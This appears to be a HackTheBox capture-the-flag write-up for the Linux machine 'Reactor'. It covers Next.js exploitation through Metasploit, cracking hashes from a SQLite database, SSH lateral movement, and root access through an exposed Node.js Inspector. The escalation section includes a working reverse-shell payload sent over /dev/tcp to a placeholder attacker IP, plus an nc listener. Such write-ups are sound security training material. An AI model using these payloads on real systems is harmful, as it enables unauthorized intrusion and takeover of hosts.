hackthebox / easy / linux

Reactor

Platform
HackTheBox
Difficulty
OS

Summary

Reactor is a straightforward web-to-root chain. We gain an initial shell by exploiting a Next.js application, recover crackable hashes from a SQLite database for lateral movement to the engineer user via SSH, and finally pwn the box through a Node.js Inspector (port 9229) listening on localhost - a full OS command execution primitive.

Skills Required

  • Web application enumeration
  • Offline hash cracking fundamentals

Skills Learned

  • Using Metasploit modules for framework-specific RCE
  • Local port forwarding for internal services
  • Node.js Inspector (port 9229) as an RCE primitive
  • Why bash -c is required for /dev/tcp payloads in execSync

Reconnaissance

An initial full port scan reveals two open ports.

  • Port 22 - SSH
  • Port 3000 - HTTP
nmap -sC -sV -p- <target_ip>

Browsing to http://<target_ip>:3000 reveals a web application built with Next.js and React. Directory and virtual host enumeration with both feroxbuster and ffuf return no interesting results.

feroxbuster -u http://<target_ip>:3000
ffuf -u http://<target_ip>:3000 -H "Host: FUZZ.<target_ip>" -w /path/to/wordlist

Initial Access

Exploiting the Next.js / React application

Using Metasploit's react2shell module against the Next.js application yields an initial limited shell.

msfconsole
use <react2shell module>
set RHOSTS <target_ip>
set RPORT 3000
run

Credential Discovery

SQLite database

While enumerating the filesystem from the limited shell, a SQLite database file is discovered containing two hashed passwords.

find / -name "*.db" 2>/dev/null
sqlite3 <database_file>
.tables
SELECT * FROM users;

The hashes are cracked offline (e.g. with hashcat or john), revealing credentials for the engineer user.

Lateral Movement

SSH access

Using the cracked credentials, SSH access is obtained as the engineer user.

ssh engineer@<target_ip>

Privilege Escalation

Internal port discovery

Enumerating listening ports reveals an internal service on localhost:9229 - the Node.js Inspector/Debugger protocol.

ss -tlnp
# or
netstat -tlnp

Port forwarding

The internal port is forwarded to the attacker machine over SSH.

ssh -L 9229:127.0.0.1:9229 engineer@<target_ip>

Confirming the port responds:

curl http://localhost:9229
# WebSockets request was expected

Node.js Inspector RCE

Connect to the Node.js debugger using the built-in node inspect client:

node inspect localhost:9229

From the debug console, OS commands can be executed via the child_process module:

exec("process.mainModule.require('child_process').execSync('id').toString()")

A reverse shell is obtained by wrapping the payload in bash -c, ensuring bash (rather than /bin/sh) handles the redirection syntax:

exec("process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/<attacker_ip>/1337 0>&1\"').toString()")

With a listener running on the attacker machine:

nc -lvnp 1337

A shell is received as the privileged user, completing the machine.

Key Takeaways

  • Node.js Inspector (port 9229) exposed internally is a critical misconfiguration - it allows full OS command execution via the debug protocol.
  • bash -c "..." is necessary when passing bash-specific syntax (like >& redirections and /dev/tcp) through execSync, since it defaults to /bin/sh which does not support these features.
  • Hashed passwords stored in local database files are a common foothold for lateral movement on HTB machines.